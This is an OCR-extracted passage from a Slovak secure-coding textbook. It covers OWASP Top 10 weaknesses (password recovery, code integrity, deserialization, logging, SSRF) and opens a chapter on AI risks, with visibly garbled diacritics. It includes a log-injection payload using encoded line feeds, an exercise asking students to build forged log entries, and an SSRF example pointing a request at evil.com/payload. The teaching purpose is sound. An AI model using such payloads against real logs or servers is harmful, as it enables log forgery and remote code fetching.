The certificate validation vulnerability allows an attacker to undermine how Windows verifies cryptographic trust and can
enable remote code execution. The vulnerability affects Windows 10 and Windows Server 2016/2019 as well as
applications that rely on Windows for trust functionality. Exploitation of the vulnerability allows attackers to defeat trusted
network connections and deliver executable code while appearing as legitimately trusted entities. Examples where
validation of trust may be impacted include:

o HTTPS connections
Signed files and emails
o Signed executable code launched as user-mode processes

The vulnerability places Windows endpoints at risk to a broad range of exploitation vectors. NSA assesses the
vulnerability to be severe and that sophisticated cyber actors will understand the underlying flaw very quickly and, if
exploited, would render the previously mentioned platforms as fundamentally vulnerable. The consequences of not
patching the vulnerability are severe and widespread. Remote exploitation tools will likely be made quickly and widely
available. Rapid adoption of the patch is the only known mitigation at this time and should be the primary focus for all
network owners.

Obr.: priklad ziplaty MS Windows opravujiicej validdciu certifikdtov.'

Pripadom, kedy sa vyvojar moze dostat do kontaktu s validaciou certifikatov,
je vyuzitie klientskych certifikatov na identifikaciu a autentifikaciu.

Slaby mechanizmus pre obnovu hesla

Slaby mechanizmus pre obnovu hesla (CWE-640: Weak Password Recovery
Mechanism for Forgotten Password) zahima viacero typov zranitelnosti. Ludia hesla
zabudaju alebo stracaju a potrebuju, aby aplikdcia umoznovala opédtovne ziskat
pristup. Dévodom je, Ze nechceme, aby volali na IT helpdesk, kde im administratori
heslo nastavia rucne. Aplikacia preto spravidla obsahuje formuldr “zabudol som
heslo” (forgotten password form). Problémom je, ako si overif, Ze o heslo naozaj
ziada opravneny pouzivatel?

Niektoré aplikdcie riesia tento problém tzv. bezpecnostnymi otazkami (security
questions). Ide o otazky ako napr.:

e Ako sa volala vasa matka za slobodna?
e Ako sa volal vas prvy domaci milacik?
e V ktorom meste ste sa narodili?

\®_} Vysvetlite, preco je pouzitie bezpelnostnych otdzok vysSie mnedostatocnym
autentifikacnym prvkom pre resetovanie hesla.

12 Obrazok prevzaty z: https://arstechnica.com/information-technology/2020/01/patch-
windows-10-and-server-now-because-certificate-validation-is-broken/
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\@_} V pripade, Ze aplikacia pozna emailovi adresu alebo telefénne Ccislo
pouzivatela, je mozné zaslat docasné heslo alebo URL s ndhodnym tokenom na
resetovanie hesla tymto kanalom. Je vSak potrebné dbat na viacero detailov:

Aplikdcia musi zobrazit rovnaka spravu bez ohladu na to, ¢i vygenerovanie
docasného hesla/tokenu pre ticet prebehlo v poriadku alebo nie.Pokial sa sprava lisi
pre existujuci a neexistujuci ucet, tak je mozné podla vysledku rozlisit, ¢i tcet
existuje alebo nie. Aj ¢as spracovania musi byt rovnaky, inak je mozné pouzit
casovanie na identifikaciu, ¢i tiCet existuje alebo nie.

Vygenerovany token musi mat dostatocntt entropiu, aby ho nebolo mozné
uhadnut alebo brute-forcovat. Na zniZenie casu hadania musi mat token nastavenu
expiraciu. Zaroven musi byt token bezpecne ulozeny, aby nedoslo k jeho zneuzitiu.

Pouzitie formulara musi byt limitované, aby ttocnik nemohol zahltif mailova
schranku emailami (mail bombing) alebo pamit telefonu SMS-kami (SMS bombing
resp. analogicky utok cez push notifikdcie).

(\@_} Vytvorte spravu, ktorii bude aplikicia vracat pouZivatelovi v pripade pouZitia
formuldru na zabudnuté heslo. Tito sprava musi splitat bod & 1 uvedenyj vyssie.

AQ8 Software and Data Integrity Failures

Tato ¢ast OWASP TOP 10 sa zaobera zranitelnostami, ktoré sa tykaju softvéru,
aktualizacie softvéru a problémami s build ekosystémom alebo infrastruktarou,
ktoré vedd k naruseniu integrity dat. Pouzitie kodu bez kontroly integrity alebo
problémy s CI/CD™ pipeline mézu znamenat neautorizovany pristup alebo
zavlecenie Skodlivého softvéru.

Nedostatoc¢na verifikacia autentickosti dat

Nazov CWE-345: Insufficient Verification of Data Authenticity je dostatocne
samovysvetlujuci: aplikdcia dostane neddveryhodnym kandlom data, ktorym
doéveruje. Utocnik ma $ancu déta pozmenit, a tym sposobom zmenit aj spréavanie sa
aplikacie.

[Zy V praxi tito situdcia napriklad nastéva v pripade, kedy sa jednotlivé
komponenty aplikacie spoliehaju navzajom na validaciu autentickosti dat. Deje sa to
v pripadoch, kedy rozne komponenty vyvijaju rozne vyvojové timy, ktoré si
navzajom nevaliduju dizajn.

12 Continuous integration / continuous delivery
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Data
management

API User
Front-end management

LDAP

Report
management

Obr. priklad API rozhrania a komponentov

[ Napr.: API front-end komponent bol vytvoreny s ideou validacie API dotazov.
Jednotlivé  management komponenty potom vykonavaju  aktivity
v jednotlivych oblastiach podla dotazov, ktoré chodia cez API front-end.
Komponent user management komunikuje s LDAP adresarovou sluzbou, ktora
uchovava informacie o pouzivateloch. Co sa viak stane, ak napriklad ttoénik
otravi DNS cache na serveri, kde bezi komponent User management? Moze
takto presmerovat LDAP dotazy na svoj LDAP server a vracat nespravne
informacie o pouzivateloch a skupinach.

Data
management
AL User
Front-e LDAP
management
nd
Report utc:)c;nlk
management LDAP

Obr. presmerovanie LDAP dotazov pomocou DNS cache poisoningu
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Pokial si napriklad aplikacia cez User management kontroluje, ¢i je pouzivatel ferko.
utocnik clenom skupiny administrators, tak utocnikov LDAP server vie vratit
falosnu pozitivhu odpoved, a tym eskalovat (stupriovat) privilégia pouzivatela
ferko.utocnik.

(\9} Akym sposobom je mozné odhalit' zranitelnost uvedenti v priklade vo fize testovania?
Akym spbsobom je mozné odhalit zranitelnost' uvedenii v priklade vo fize dizajnu?

Stiahnutie kodu bez kontroly integrity

CWE-494: Download of Code Without Integrity Check je pomerne priamociare -
aplikacia stiahne a pouzije stiahnuty kod bez kontroly integrity. Typicky sa tento
problém prejavuje pri update aplikdcie - aplikacia si stiahne novy balic¢ek a spusti ho.
Pokial si aplikdcia neskontroluje hash alebo digitalny podpis stiahnutého kédu, tak
moze utocnik zautocit na viacero bodov:

1. odkial sa balicek stahuje - napr. kompromitovanim S3 bucketu alebo
repozitara (repozitar uchovava zdrojové kody, konfiguratné subory,
dokumentdciu a dalSie subory) vie itocnik podhodit skodlivy balicek,

2. prenosovy kanal - pokial nie je kandl Sifrovany a podpisovany je mozné, aby
utocnik pozmenil balicek cestou. K tejto situdcii moze dojst v pripade, ak tto¢nik
dokaze modifikovat DNS alebo URL, odkial sa stahuje kod.

3. miesto, kam sa balicek stahuje - pokial vie lokalny tto¢nik na systéme
modifikovat balicek v lokalite, kam sa stiahne, vie dosiahnut spustenie svojho
kédu pod pravami spustajuceho procesu. Tymto vie dosiahnuf zvysenie
privilégii na systéme.

\®_} V pripade 3 dosiahne vitocnik elevdciu (zoysenie) privilégii na systéme. Aky vysledok
dosiahne v pripadoch 1 a 2?
(\D} Akym spdsobom moZe aplikicia skontrolovat integritu stiahnutého kédu?

Pozrime sa este na jedno CWE: CWE-830: Inclusion of Web Functionality from
an Untrusted Source. Koncept je podobny: webova aplikdcia si stiahne cast
funkcionality, napr. JavaScript stibor z inej lokality:

<script src=https://'www.example.com/path/script.js'></script>

Na rozdiel od CWE-494 vSak nedochdadza k spusteniu koédu na systéme, ale na
pocitaci klienta. Nakolko JavaScript stibor je jednoduchy textovy stibor, je mozné
skontrolovat jeho integritu len voci jeho hasu. Na tento ticel sltzi atribtt subresource
integrity:

<script src="https://www.example.com/path/script.js"

integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/
uxy9rx7HNQLGY11kPzQholwx4 JwY8wC"

crossorigin="anonymous"></script>

(\D_} V poslednom priklade sa pouziva atribut crossorigin. Vyhladajte na internete, na co
tento atribiit sliZi a vysvetlite jeho pouZitie v uvedenom priklade.
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Deserializacia nedoveryhodnych dat

V predchadzajucich dvoch kapitolach sme sa bavili o ochrane integrity dat
a integrity kodu. Podme sa eSte pozriet na kombindciu oboch pripadov, a to na
slabiny serializacie a deserializacie objektov.

& Serializacia je uloZenie objektu z paméte do perzistentnej (nemennej, stalej)
podoby na pevny disk.

& Deserializacia je proces nacitania objektu z pevného disku do pamate.'*

Slabina CWE-502: Deserialization of Untrusted Data znamend, Ze serializovany
objekt (data) niekto modifikuje alebo tieto data nie sti doveryhodné. To moze viest
az ku spusteniu skodlivého kédu na serveri, ktory deserializuje nedéveryhodné
objekty.

Equifax Website Hacked Through the Exploitation of
CVE-2017-5638

Obr.: Priklad, kedy zranitelnost v deserializdcii viedla ku katastofickej kompromitdcii
organizicie je hack spolocnosti Equifax'?.

AQ9 Security Logging and Monitoring Failures

Problémy s logovanim a monitoringom sa objavuju v aplikdcidch ¢oraz castejsie. Nie
je jednoduché ich rozpoznat, nakolko spravidla nie st testovatelné univerzalnym
nastrojom alebo pocas penetracného testu aplikacie. V pripade automatizacie
bezpecnostnych testov vie automat skontrolovat, ¢i je popisana aktivita zalogovana
korektnym sposobom. Automat vSak nevie skontrolovat, ¢i sa loguje vsetko, ¢o je
potrebné na efektivny monitoring a identifikaciu bezpecnostne vyznamnych aktivit
v aplikacii.

& Log je chronologicky zaznam aktivit, informacii o vykone a pouziti pocitaca,

aplikdcie alebo siete.

& Logova veta je zaznam v logu. Aby bola logova veta pouzitelna pre
preukazanie zodpovednosti (accountability), musi obsahovat informaciu o tom

o kto (ktory pouzivatel, proces vykonal akciu)?
e ¢o (aku akciu a s akym vysledkom)?
e kedy (v akom case)?

¢ Viac informadcii je https://www.scaler.com/topics/java/serialization-and-deserialization/

1% https://www.invicti.com/blog/web-security/how-equifax-data-breach-hack-happened/
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o kde (na akom informacnom systéme, akom objekte, ale aj odkial - z akého
systému, IP adresy)?

Jednotlivé komponenty webovej aplikdcie, ako load balancer, web applikacny
firewall, webovy server, aplikacny server, databazovy server, loguju spravidla
v roznych formatoch. Avsak logova veta musi obsahovat vsetky informacie uvedené
vyssie.

Pod'me sa pozriet na najcastejsie problémy spojené s logmi a monitoringom.

Nedostatocné logovanie

CWE-778 Insufficient Logging je pomerne priamociare - aplikacia nezaloguje akciu
alebo v logu nie st uvedené potrebné detaily. Trosku Specifickejsi pripad je CWE-
223 Omission of Security-relevant Information, kedy v logoch chybaji bezpecnostne
relevantné akcie alebo detaily potrebné na riesenie bezpecnostného incidentu.

Obe CWE mozu mat viacero pricin:

e zle navrhnuta logova veta,
e nelogovanie potrebnych aktivit.

Pri programovani aplikacie nechceme, aby si jednotlivé vyvojové timy logovali
informacie, ako uznaj1 za vhodné. Je potrebné vynutit vsetky informacie, ktoré
su potrebné v logovej vete. Preto je vhodné vyclenit v rdmci dizajnu
bezpecnostnych opatreni samostatny logovaci modul (pripadne funkciu alebo
triedu - class), ktory predpisuje:

o kam sa logy ukladaju - napr. textovy subor, tabulka v databaze, syslog,
a pod.,

o obsah logovej vety - pri potrebe zalogovania programator len zavola
prislusnt funkciu a ta si uz cez povinné parametre vynuti zalogovanie
potrebnych informacii.

[y Prikladom jednoduchej logovacej triedy je logging v programovacom jazyku
python:

import logging

logging.basicConfig(filename="test.log', level=logging.INFO)
logging.info('Logujem info')

logging.debug('Logujem debug')

Vystupny subor test.log potom obsahuje:
INFO:root:Logujem info

@_} Vysvetlite, preco v test.log nie je zalogovany prikaz logging.debug(’Logujem debug’).
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\_} Vysvetlite, ktoré informdcie chybajii v logovej vete stiboru test.log. Bonus: Ako by ste

vyniitili logovanie potrebnych informdcii?

Obsah logovej vety sme vyriesili. Ako vSak vyriesit, co logovat? Musime si polozit
otazku: Je potrebné, aby konkrétna akcia bola zaznamenana a organizacia vedela
dohladat zodpovednost za tato akciu?

Zdrojom informaécii o tom, co je potrebné logovat je:

bezpecnostné standardy ako ISO 27002, PCI DSS'* a pod.
OWASP Logging cheat sheet'”

katalog identifikovanych rizik

threat model(y) pre aplikaciu

ISO 27002 uvadza nasledovné informacie, ktoré by mali byt uvedené v logoch:

pouzivatel'ské identifikatory;

datumy, casy a detaily o kI'icovych udalostiach, napr. prihlasenie a odhlasenie;
zaznamy o uspesnych a neuspesnych pokusoch o pristup k informacnému
systému;

systémové aktivity;

e identita alebo lokalita zariadenia, pokial je mozné identifikator systému (napr.

IP adresa, hostname, FQDN);

zaznamy o uspesnom alebo netispesnom pristupe k datam alebo inym zdrojom;
zmeny v konfigurdcii informacného systému;

pouzitie privilégii;

pouzivanie systémovych utilit'* alebo aplikacii;

mend suborov, ku ktorym sa pristupovalo a typ pristup;

sietové adresy (IP, MAC) a protokoly;

poplachy systému riadenia pristupu;

aktivacie a deaktivacie bezpecnostnych systémov, napr. antivirus, IDS/IPS;
zaznamy o transakciach vykonanych pouzivatelmi v aplikdciach.

(\D} Navrhnite potrebné logy pre nasledovny workflow diagram. Organizdcia eviduje tieto

rizikd:
o zamestnanec zbytocne miria zdroje na sluzZobné cesty - napr. zamestnanec odide na
sluzobnii cestu, ktord nie je schvdlend,

° zamestnanec si do vydavkov sluZobnej cesty zapolita vymyslené alebo zbytocné
naklady.
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vynutené logovanie vSetkych pristupov na data o kreditnych kartach
https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html

systémova utilita je ndstroj (program) operac¢ného systému alebo inStalovany
s aplikacnym softvérom, ktory je pouzivany na spravu systému. Prikladom systémovej
utlity moze byt rsync sltiziaci na synchronizaciu dat.
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Example travel request workflow:

Traveller request

Enter travel
details, estimate
and justification

Submit request
Request more

information

Supervisor Reject and
discard

Request more
information Request more

information

Travel
Reject and

discard

Manager

Py
Approve Review and
close

Add travel report
and expense Traveller

claim

Cancel and
discard

Obr.: workflow diagram pre spracovanie sluzobnyjch ciest'*.

Nedostatocna sanitizacia dat pred zapisom do logov

CWE-117: Improper Output Neutralization for Logs znamena, Ze do logov zapiSeme
logovaciu vetu, ktora logovanie rozbije (napr. dokazeme vlozit nové logové vety do
logu) alebo rozbije nastroj, ktorym organizacia logy spractiva - napr. prehliadac
logov, log manazment systém alebo SIEM systém.

12 obrazok prevzaty z https://www.peopletray.com/wp-content/uploads/2015/05/
Workflow-examplel.png
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[ Vezmime si priklad, kedy logovacia trieda nerobi sanitizaciu dat a pouZime ju
nasledovne:

<?php

//premenna user sa inicializuje GET parametrom username

$user =$ POST[“username”];

if(userExists($user)){
printUserInformation($user)

} else {
print “<h1> Pouzivatel ” . $user . “ neexistuje</h1>"
logger.log(LOG_ERROR, “Pouzivatel ” . $user . “ neexistuje”)

"

}

V pripade neexistujiiceho pouZzivatela vznikne napr. logovacia veta:

2023-06-29 10:50:51 aplikacia.com ERROR Pouzivatel neexistujuci_
pouzivatel neexistuje

Co sa vsak stane, ak ito¢nik zadd do formulara refazec:

“Administrator%0a%0aINFO:+Pouzivatel+Administrator+sa+odhlasil”

Znak %0a je v v ASCII kédovani znakom LF (line feed). V zavislosti od operacného
systému toto moze oznacovat novy riadok.”™ Ak pouzivame UNIX/Linux webovy
server na spracovanie HTTP poziadavky, tak vysledkom je:

2023-06-29 10:50:51 aplikacia.com ERROR Pouzivatel Administrator
INFO Pouzivatel Administrator sa odhlasil neexistuje

Toto nie je najinteligentnejsi log injection, avSak minimalne sa tito¢nikovi podarilo
rozbit formatovanie logu, s ¢im mo6Zze mat problém aplikacia, ktord logy spractiva.

@_} Skuste doplnit' payload tak, aby vysledkom boli dve alebo viac logovych viet, ktoré sii
Struktiivou navzdjom podobné. Vlozte do logu informdciu, Ze pouzivatel Administrator
bol zmazany. Bonus: pripravte rovnaky payload pre IIS server beziaci na Windows.

Castym problémom s logovanim je kédovanie vstupnych dat. V logoch je
spravidla problém mat informdciu v tvare:

Extrémnou situdciou, pri ktorej sa prejavila slabina CWE-117, je Log4j
zranitelnost Log4shell®' (CVE-2021-44228). Tato zranitelnost logovacej
kniznice Log4j v Jazyku Java umoznovala spustenie kédu titocnika. Pokial logy
generovala aplikdcia v Jave, ktora vyuzivala Log4j, tak pri zalogovani zlého
vstupu'* dostal ttocnik shell (program umoznujtci zadavat prikazy z iného
pocitaca a kontrolovat tak vlastnt pracu poéitada) na webovom serveri. Co je

130 Na roznych operacnych systémoch je to rozne: Unix(LF), Macintosh(CR) a Windows(CR
LF)

B! viac informacii o Log4shell napr. tu: https://nakedsecurity.sophos.com/2021/12/13/
log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

132 ¢o nas zaujima z pohladu security - vstup, ktory sposobil, Ze aplikacia reaguje
neStandardne alebo aplikuje vynimku.
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vsak horsie, logy isli na spracovanie dalej, napr. do SIEM systému, ktory ich
potrebuje spracovat. Pokial pri spractivani narazil na nestandardny vstup, tak
mohol opit pouzit vynimku, zalogovat ju cez Log4j a titocnik dostal remote
shell priamo na SIEM systéme.

X Aluxaard.eth
' @aluxaard

Replying to @GossiTheDog

Full black mirror today.

WSS
OIEM detecting ——
LogaJ [RCE =

Log4J RCE

o Detecting{SIEM

9:17 PM - Dec 10, 2021 - Twitter for iPhone

Obr.: Niekedy sui jedinou titechou v bezpecnosti memecka. Obrdzok prevzaty z: hitps://
www.secureworld.io/industry-news/funny-log4j-tweets-memes

Zapis citlivych dat v logoch

Poslednym problémom spojenym s logovanim, ktory si spomenieme, je zapis
citlivych informacii do logov (CWE-532 Insertion of Sensitive Information into Log
File).

[= Jeden priklad namiesto tisic slov:
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2023-06-29 10:50:51 aplikacia.com INFO Pouzivatel Janko sa uspesne
prihlasil heslom moje_dlhe_hestlo

Zaznamenat hesla do logu je samozrejme zIlé. Sti vSak aj iné citlivé informacie, ktoré
nesmu byt logované.

(\D} Ndjdite v OWASP ASVS informdcie, ktoré nesmii byt uvedené v logoch.

Logy identifikuju aktivity pouzivatelov v informa¢nom systéme a je potrebné
o nich uvazovat ako o datach obsahujticich osobné tdaje. Preto je potrebné
vyriesit vSetky zakonné povinnosti vyplyvajice zo spracovania osobnych
udajov.

A10 Server Side Request Forgery

Tato trieda zranitelnosti bola pridanad do OWASP TOP 10 v roku 2021 a obsahuje len
jednu slabinu CWE-918: Server-Side Request Forgery (SSRF). Coraz viac
zranitelnosti server side request forgery (SSRF) bolo masivne zneuzivanych napr.
v Microsoft Exchange serveri'®.

& SSRF vznika, pokial webovy server vytvori request (poziadavku) na URL na
zaklade pouzivatelskych dat. Na zaklade vykonania tohoto requestu moze
dojst k stiahnutiu dat alebo kodu z neddveryhodnej URL.

= Vezmime si e-shop, ktory umoziiuje pouzivatelovi pridat tovar do kosika. Na
dotiahnutie ceny je potrebné, aby e-shop kontaktoval back-end systém, ktory
obsahuje ceny vsetkych tovarov.

Back-end
o o ~ .
Iﬁkshti)p. K backend.aplikacia.s

N aplikacia.s :

POST

/produkt/sklad POST

HTTP/1.0 /produkt/sklad

Content-Type: HTTP/1.0

application/x-www- Content-Type:

form-urlencoded application/x-www-

form-urlencoded
Api=http://backend

.aplikacia.sk:8080 { )
/produkt/sklad/sko productId: ‘26
ntroluj%3FproduktI }

d%3D6%26

Volanie od klienta na aplikacia.sk moze ist napr. JavaScriptom. Aplikacia.sk
nésledne zavold backendAPI, ktorému d& JSON podla klientovho volania. Co sa
vSak stane, ak klient namiesto poévodného volania zavola: api=https://evil.com/
payload? V tom pripade aplikacia.sk dostane ned6veryhodné data, ktoré mozu viest
k CWE-345: Insufficient Verification of Data Authenticity, pripadne deserializacii
nedoveryhodnych dat. V najhorSom pripade moze dojst k vykonaniu kédu
stiahnutého z evil.com/payload.

133 napr. CVE-2022-41040
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Zhrnutie

OWASP top 10 je vyborny projekt, ktory poukazuje na najcastejsie sa vyskytujtice
triedy zranitelnosti vo webovych aplikaciach. V tejto casti ucebnice sme si vysvetlili
niektoré typy slabin. Sami ste vSak mali moznost zistit, Ze slabin je ovela viac a na
ich korektné oSetrenie je potrebné, aby bola informacna bezpecnost sucastou
vsetkych faz vyvojového cyklu.
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ezpecnosti

Sucasny svet je casto oznacovany ako rodiaca sa informacna ¢i znalostna spolo¢nost,
pricom sa hrdi privlastkami ako “digitdlna disrupcia”, “zmena paradigmy”',
“permanentna technologicka revolucia”'®, atd. Reklamné materialy takmer kazdej
technologickej novinky uistuju, Ze v jej utrobach je implementovana umela
inteligencia.'*

V redlnom svete spoznavame nejednu oblast, v ktorej technoldgie umelej
inteligencie zohravaju coraz dodlezitejSiu tlohu: v lekarskej diagnostike a liecbe,
v riadeni technologickych procesov, v analyze a predikcii vyvoja, v spracovani
obrazu, analyze a syntéze reci, v kybernetickej bezpecnosti, doprave, zabave,
obchode a podnikani, komunikacnej technike, genetickom vyskume, jadrovej fyzike,
astrofyzike, najnovsie v generovani obsahu a pod.

Na zaklade sticasného vyvoja, rozsahu implementacie i vyuZzivania systémov umelej
inteligencie'” sa javi, Ze Al (Artificial Intelligence) nie je len buzzword™, ktory ma
pomdct technologickym firmam presadit sa, zvysit zisk ¢i “skraslit” stratégie lidrov
dnesného sveta. Ide o realny koncept a integralnu sucast technologickej budticnosti
naSej civilizacie. Systémy umelej inteligencie vo viacerych oblastiach postvaju
daroven poznania a skiimania milovymi krokmi vpred. Pre mnohych sa stavaju
takmer nepostradatelnymi kazdodennymi technologickymi nastrojmi. Takmer
v kazdej oblasti Iudskej ¢innosti a zZivota ¢loveka ndjdeme nieco, v ¢om sa pouzitie
prvkov Al stava, resp. moze stat velmi osoznym.

3% Ide o proces, ktory nahradza a rusi technoldgie predoslé az do tej miery, ze vo velkej

miere meni spdsob, akym spolo¢nost funguje.
135 Hovorime o technologickom pokroku a inovacidch, ktoré st neustale pritomné
a neustale menia sposob, akym v modernej spolo¢nosti zijeme, pracujeme
a komunikujeme.

136 Jde o jemnu iréniu, nakol'ko pouzivatelia casto netusia, ¢o Al znamena alebo robi. Ak je

vsak dany softvér vybaveny technologiou umelej inteligencie, pre pouzivatelov to urcite
musi byt dobré a musi si to kuipit. Takychto slov bolo v oblasti bezpe¢nosti vela:
heuristika, next-gen, blockchain, atd'.
137V celej kapitole budeme pre pojem umela inteligencia pouzivat aj bezne vyuzivant
anglickd skratku Al (artificial intelligence).

138 Slovo alebo fraza, ktora sa na nejaky limitovany cas stane popularna. Aj ked moze mat

raciondlny zaklad, pouziva sa (a nad uziva) za i¢elom urobit pozitivny dojem, napr.
robit marketing na svoj produkt.
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Vyuzitie umelej inteligencie ma vsak aj svoju temna stranu a rizika:

jednou z privilegovanych oblasti vyvoja umelej inteligencie sti autondémne
zbranové systémy a samostatné nasadenie v boji;

zneuzitie prvkov umelej inteligencie v kybernetickej kriminalite je uZ teraz
nocnou morou informacnej bezpecnosti;

nasadenie umelej inteligencie pri rozpoznavani tvari, komplexnom monitoringu
a kategorizacii udi, detekcii a predikcii vyvoja v spolocnosti je tzv. svatym
gralom (najvyssim ciefom) akéhokol'vek autoritarskeho rezimu;

vplyv socialnych médii pohdnanych aktudlne nastavenymi, ¢i zneuzitymi
algoritmami umelej inteligencie na psychiku ¢loveka a rozvoj spolo¢nosti sa uz
teraz podla niektorych odbornikov javi ako katastrofalny;

vytvaranie psychologickych, zdravotnych, sociologickych ¢i inych profilov Iudi
spajanim informacii z verejnych zdrojov, socidlnych sieti a metadat dokaze
vdaka umelej inteligencii vytvorit nekompromisnti verejnt sondu do [udskej
psychiky a bezprecedentne odhalit sikromie ¢loveka'”;

vydieranie za pomoci technoldgii generativnych systémov Al sa stava
jednoduchym a efektivnym;

zneuzitie faloSnej identity ¢i vytvorenie faloSnych informacii o cloveku'?
natrénovanym systémom umelej inteligencie mo6ze danti osobu priviest
k totalnemu spolocenskému i osobnému kolapsu...'*!

Velké, uspesné firmy uz dlhodobo pracuju s umelou inteligenciou, dajme si
priklady, ktoré mozeme zazit alebo vidiet kazdy den'*:

Coca Cola - pouZiva umeld inteligenciu pri vybere ndpojov a napltiani
automatov. Cielom je, aby boli napoje, ktoré klienti vyuzivaju k dispozicii
v mnozstve, ktoré sa predava.

Unilever - umeld inteligencia je hlavnym systémom pri efektivnom vybere
zamestnancov.

Slovenské banky - pouZivaji umelt inteligenciu na odhalovanie podvodov,
ktoré st vykonavané v ramci ttokov zalozenych na socialnom inZzinierstve.
Shell - identifikuju spravanie klientov a na zaklade predpokladaného spravania
distribuujui energiu do presnych miest.
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Systémy umelej inteligencie st na zdklade analyzovanych dat a metadat castokrat
schopné vytvorit psychologicky profil osoby, odhalit jeho sexualnu orientaciu,
detekovat psychické problémy, identifikovat i zneuzit osobnostné slabé stranky a pod.
Napr. vytvorenie falosnej videokonferencie (jedna z foriem tzv. DeepFake), na ktorej sa
verejny Cinitel priznava k veciam, ktoré nevykonal; vytvorenie falosného videa, na
ktorom clovek s vysokym moralnym kreditom v spoloc¢nosti kona nemravné veci;
generovanie znevazujuceho obrazového materialu zobrazujticeho spoluziaka a pod.

SANTAVY, P. Umel inteligencia — dobry sluha a zly pan? [on-line]. Bratislava:
RKCMBEF UK, 2024, s. 20-21. ISBN 978-80-88696-96-4. [cit. 19. januara 2024].
Dostupné na internete: <https://peter.santavy.cloud/ai-good-servant-and-bad-master-ii>

Maar, B. (2019): Artificial intelligence in practice; Willey; ISBN: 978 - 1-119-54821-8
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e John Deere - pri pouzivani postrekov chemickymi latkami proti Skodcom,
pomocou umelej inteligencie rozoznavaju skodcov a aplikuju postrek len
priamo na tieto rastliny, ¢im znizuju zatazenie prostredi achemikaliami.

Modely umelej inteligencie st1 zalozené na algoritmoch. Sticasné algoritmy umelej
inteligencie st implementované prostrednictvom modernych informacénych
a komunikacnych technolégii. Algoritmy pracuju v aplikacnom prostredi s datami
na vypoctovych prostriedkoch a zaroven sa mozu samy vyvijat. Na bezpecnost
systémov umelej inteligencie musime nazerat zosiroka. RieSenie rizik a limitov
tychto systémov sa stava stucastou problematiky informacnej bezpecnosti. Inak
povedané, kedZe stcasné technologie Al st elektronické systémy, zdielaju aj vSetky
rizikd a chyby modernych kybernetickych systémov. Ak nevieme zabezpecit
pozadované aspekty kybernetickej robustnosti (primerant  bezpecnost,
spolahlivost, transparentnost a pod.), nemoézeme ich do redlnej prevadzky
nasadit.'*®

Co si predstavit pod umelou inteligenciou?

Nie je jednoduché ucelenym sposobom definovat inteligenciu. Inteligenciu
Iudského bytia vnimame ako schopnost vnimat, chapat a spracovavat informacie,
ucit sa, oddvodnovat, planovat, riesit komplexné problémy a rozhodovat.
Novozélandsky moralny filozof a psycholdg James Flynn definuje inteligenciu ako
subor (kognitivnych) zruc¢nosti, medzi ktoré patri abstraktné a logické myslenie,
dalej predstavivost, a teda aj schopnost uvazovat o hypotetickych moznostiach,
a tiez aj jazykovy cit.'*

Zakladné pojmy ako inteligencia, myslenie, poznanie, vedomie a city st pre potreby
badania v oblasti umelej inteligencie nedostatocne definované. Jeden z nestorov
(najstarsich tvorcov) umelej inteligencie, Marvin Minsky preto pre tieto pojmy
pouziva termin ,suitcase word”."® Kazdy z tychto pojmov je ako velky kufor,
obsahujuci splet r6znych vyznamov a moznosti. Umeld inteligencia participuje na
tomto probléme a nadobuida tak r6zne vyznamy podla konkrétnych kontextov.'

V redlnom zivote vieme do velkej miery podvedome rozlisit, ¢o je a ¢o nie je
inteligentné (napr. clovek vs. kamern na ceste,...) a vieme aj inteligenciu porovnavat
(napr. clovek vs. Simpanz,...). Dokonca mame vytvorené aj meratelné Skaly pre

143 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 87-90.

144 FLYNN, J. What Is Intelligence?: Beyond the Flynn Effect. Cambridge University Press,
2009.

145 MINSKY, M. L. The Emotion Machine: Commonsense Thinking, Artificial Intelligence,
and the Future of the Human Mind. New York: Simon & Schuster, 2006, s. 95.

46 Uplne ina , inteligencia” je implementovana v softvérovom vybaveni smartfénov, ina

v algoritmoch socidlnych sieti, ind v AlphaZero, ind v rdmci generativnych Al napr.
ChatGPT a pod.
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Tudskt inteligenciu (IQ), a naviac vieme rozliSovat jej rozne dimenzie: emocionalnu,
verbalnu, logickt, socialnu, atd. Podla toho inteligenciu kategorizujeme:

e bindrne (nieco je alebo nie je inteligentné),

e kontinudlne (jeden objekt je inteligentnejsi ako druhy),

e multidimenziondlne (objekt md urciti turoven inteligencie vo viacerych
dimenziach).

(\D} Porovnajte emociondlnu a verbdlnu inteligenciu dvoch vybranych umelcov.

Pojem inteligencia m6Zeme v Minského ponati vnimat ako na prasknutie naplneny
kufor. To sa na prvy pohlad zda byt frustrujtce, no v kone¢nom désledku aktualna
neexistencia presnej definicie moze rovnako predstavovat vyhodu pre akcelerovanie
celého odvetvia v réznych smeroch vyvoja a aplikovania systémov Al. Neexistencia
presnej definicie umelej inteligencie a viac-menej ignorancia zakladnych
kategorizacii st Zivnou podou pre vel'mi r6znorody a kreativny rozvoj tejto oblasti,
kedZe badatelov vedie len hruby zmysel pre toto smerovanie a snaha etablovat sa
(presadit sa), ¢i dostat sa do popredia.'”” Stubezne sa vyvija pravne prostredie
a systém standardov. Rovnako burlivy je i rozvoj technolégii a pribuznych vednych
odborov, ¢o sa v nemalej miere podiela na tvorbe novych rieseni umelej inteligencie.
Ludia aj firmy su otvorené pre kazdy mozny napad a snaZzia sa vyvijat nové veci so
zamerom vyskusat, ¢i algoritmus funguje a rozsiri sa jeho pouzivanie, niekedy i za
cenu ignorovania negativnych dopadov na prava osob a dosledkov pre Iudska
spolocnost.

Z uvedeného vyplyva, Ze existuje viacero definicii fenoménu umelej inteligencie
a ich pocet sa vzhladom na neustaly rozvoj tychto technoldgii postupne zvysuje,
resp. ich obsah sa spresnuje alebo sa v zavislosti od ticelu pouzitia upravuje (napr.
navrh definicie AI v kontexte pripravovaného Nariadenia o umelej inteligencii
z dielne EU).

Aktudlne mozeme pracovat s definiciou stanfordskej tzv. 100-ro¢nej Stadie o umelej
inteligencii (AI100) v sprave z roku 2021: umela inteligencia je o vytvarani systému,
ktory vykazuje také spravanie, o ktorom si myslime, Ze vyzaduje inteligenciu."

47 MITCHELL, M. Artificial Intelligence. Farrar, Straus and Giroux. 2019, s. 20.

48 One Hundred Year Study on Artificial Intelligence. [on-line]. AI100, 2021, s. 78. [cit. 5.
augusta 2023].
Dostupné na internete: <https://ail00.stanford.edu/2021-report>
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Ako si neskdr ukazeme, sucasné systémy umelej inteligencie nie je mozné
